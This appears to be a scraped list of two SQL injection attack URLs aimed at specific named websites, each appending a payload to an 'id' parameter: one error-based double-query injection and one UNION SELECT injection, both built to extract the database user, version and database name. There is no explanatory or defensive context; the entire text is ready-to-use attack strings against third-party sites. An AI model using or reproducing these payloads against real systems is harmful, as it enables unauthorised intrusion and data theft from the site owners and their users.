http://www.stella-science.eu/initiatives_view.php?id=710 and(select 1 from(select count(*),concat((select (concat_ws(0x3a,user(),version(),database())) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1

http://www.burko.eu/index.php?id=22.2%20union%20all%20select%20concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29+--+